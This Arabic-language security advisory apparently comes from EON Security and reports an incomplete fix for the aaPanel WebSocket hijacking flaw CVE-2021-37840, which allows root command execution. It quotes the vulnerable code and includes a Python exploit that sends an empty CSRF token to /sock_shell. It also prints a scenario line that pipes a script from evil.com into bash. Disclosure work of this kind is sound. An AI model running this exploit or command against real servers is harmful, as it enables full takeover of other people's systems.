
تجاوز CSRF في WebSocket الخاص بـ aaPanel يؤدي إلى RCE (إصلاح غير مكتمل لـ CVE-2021-37840)
إصلاح غير مكتمل لـ CVE-2021-37840 لا يزال يعرّض 3.6 مليون خادم لاستغلال RCE بصلاحيات الجذر، بعد 5 سنوات
اكتشفته: EON Security
CVE: قيد التعيين
CVSS: 8.8 (مرتفع) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
المتأثر: إصدارات aaPanel من 6.8.12 حتى 7.65.0 (كل إصدار صدر منذ إصلاح 2021)
القاعدة المثبّتة: +3.6 مليون خادم
في عام 2021، تم الكشف عن ثغرة اختطاف WebSocket عبر المواقع (CVE-2021-37840) في aaPanel، وهي لوحة تحكم استضافة مجانية تعمل على أكثر من 3.6 مليون خادم. أضاف البائع فحص رمز CSRF "لإصلاحها".
كان الإصلاح خاطئًا من الناحية المعمارية.
بدلاً من رفض اتصالات WebSocket غير الموثَّقة على مستوى HTTP (إرجاع 401)، يسمح الإصلاح بمرور كل الاتصالات (يرجع 101 Switching Protocols) ولا يفحص المصادقة إلا داخل المعالج — بعد أن يكون WebSocket قد أُنشئ بالفعل. ويمكن تجاوز فحص CSRF الذي أضافوه بعدة طرق.
وجدت EON Security أنه بعد 5 سنوات، لا يزال كل إصدار من aaPanel عرضة لنفس فئة الهجوم.
هذا هو عاشر CVE فقط يُخصص لـ aaPanel في تاريخه الذي يمتد لأكثر من 6 سنوات.
إذا كنت تشغّل aaPanel، فإليك ما يمكن أن يفعله المهاجم بك:
السيناريو 1: نقر مسؤول على رابط خبيث
curl http://evil.com/payload.sh | bash — ويُنفَّذ هذا الأمر بصلاحيات الجذر (root) على خادمكيلزم نقرة واحدة فقط. نقرة خاطئة واحدة ويصبح كل شيء بحوزة المهاجم.
السيناريو 2: تسرّب مفتاح API
هذه هي المشكلة الأكبر. حماية CSRF لا تنطبق على الطلبات المصادقة عبر API إطلاقًا. صُممت لفحص الاتصالات القائمة على المتصفح، لكن مسار الكود الخاص بالوصول عبر API يتجاوزها تمامًا.
في كل الحالات، هناك 3.6 مليون خادم متأثر. كل إصدار صدر منذ 2021.
g.api_request=True (الطلبات المصادقة عبر API) وg.is_aes=True (الطلبات المشفرة عبر AES) تتخطيان الفحص تمامًا/sock_shell أوامر عشوائية — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh بيانات اعتماد SSH مقدمة من المهاجم — الاتصال بأي مضيف SSHتعيد جميع نقاط WebSocket HTTP 101 Switching Protocols قبل أي فحص مصادقة. يتم تنفيذ فحص المصادقة comm.local() داخل المعالج، بعد اكتمال ترقية WebSocket بالفعل:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
نقاط النهاية المتأثرة:
/webssh (وكيل طرفية SSH)/sock_shell (تنفيذ أوامر مباشر)/ws_panel (إدارة اللوحة)/ws_home (لوحة المعلومات)/ws_project (إدارة المشاريع)/ws_model (إدارة النماذج)/workorder_client (نظام التذاكر)/v2/* لكل ما سبقصُممت الدالة check_csrf_websocket() لمنع اختطاف WebSocket عبر المواقع:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
يوجد شرطان لتجاوز صريح:
g.api_request: عندما تكون قيمته True (تُعيَّن أثناء المصادقة بمفتاح API)، يُتخطى فحص CSRF بالكامل. أي جلسة WebSocket مصادقة عبر API تتجاوز هذه الحماية.g.is_aes: عندما تكون قيمته True (تُعيَّن أثناء طلبات API المشفرة عبر AES)، يُتخطى فحص CSRF أيضًا.مقارنة الرمز (get_csrf_sess_html_token_value()) تُرجع session.get('request_token_head', ""). في الجلسات التي لم تُهيَّأ فيها هذه القيمة بعد، يمرر x-http-token فارغ الفحص.
تمرر نقطة النهاية /sock_shell نصوصًا يقدمها المهاجم مباشرة إلى subprocess.Popen مع shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
يُنفَّذ كل رسالة يتم استلامها عبر WebSocket كأمر شل. تُدفق المخرجات عبر WebSocket. وبما أن aaPanel يعمل بصلاحيات الجذر، فهذا اختراق كامل للنظام.
تقبل نقطة النهاية /webssh معاملات اتصال SSH مقدمة من المهاجم من أول رسالة WebSocket:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
إذا كان المضيف هو 127.0.0.1 أو localhost، يتحقق المعالج من قاعدة البيانات بحثًا عن بيانات اعتماد محفوظة، أو يستخدم البيانات المقدمة من المهاجم.
مسار الاستغلال الرئيسي هو CSWSH (اختطاف WebSocket عبر المواقع) ويتطلب تفاعل المستخدم:
wss://victim-panel:8888/sock_shellcomm.local() المصادقة (ملف تعريف ارتباط جلسة صالح){"x-http-token": ""} أو يستغل مسارات تجاوز API/AESمسار بديل عبر اختراق مفتاح API:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
إثبات المفهوم الكامل: exploit.py
استخدم سكربت check.py لاختبار ما إذا كانت نسخة aaPanel تحتوي على نقاط WebSocket قابلة للاستغلال:
python3 check.py https://target:8888
g.api_request وg.is_aes حماية CSRF| التاريخ | الحدث |
|---|---|
Yadav — EON Security
الموقع الإلكتروني: https://eonsecurity.co.za
هذا المحتوى مرخّص بموجب MIT. إثبات المفهوم مقدَّم لأغراض تعليمية ودفاعية فقط.
| نقطة النهاية | الوظيفة | التأثير |
|---|
/webssh | وكيل طرفية SSH | الاتصال بأي مضيفات SSH باستخدام بيانات اعتماد المهاجم |
/sock_shell | تنفيذ أوامر مباشر | RCE بصلاحيات الجذر عبر أوامر الشل |
/ws_panel | إدارة اللوحة | الوصول إلى بيانات اللوحة |
/ws_home | لوحة المعلومات | الوصول إلى بيانات لوحة المعلومات |
/ws_project | إدارة المشاريع | الوصول إلى بيانات المشاريع |
/ws_model | إدارة النماذج | الوصول إلى بيانات النماذج |
/workorder_client | نظام التذاكر | الوصول إلى بيانات التذاكر |
/v2/* | جميع إصدارات v2 | نفس ما سبق |
| 2021-08-02 |
| الكشف عن CVE-2021-37840 (aaPanel CSWSH) |
| 2021 | يضيف البائع check_csrf_websocket() كإصلاح |
| 2026-06-23 | تكتشف EON Security أن الإصلاح غير مكتمل |
| قيد الانتظار | تعيين CVE |
| قيد الانتظار | الكشف العام |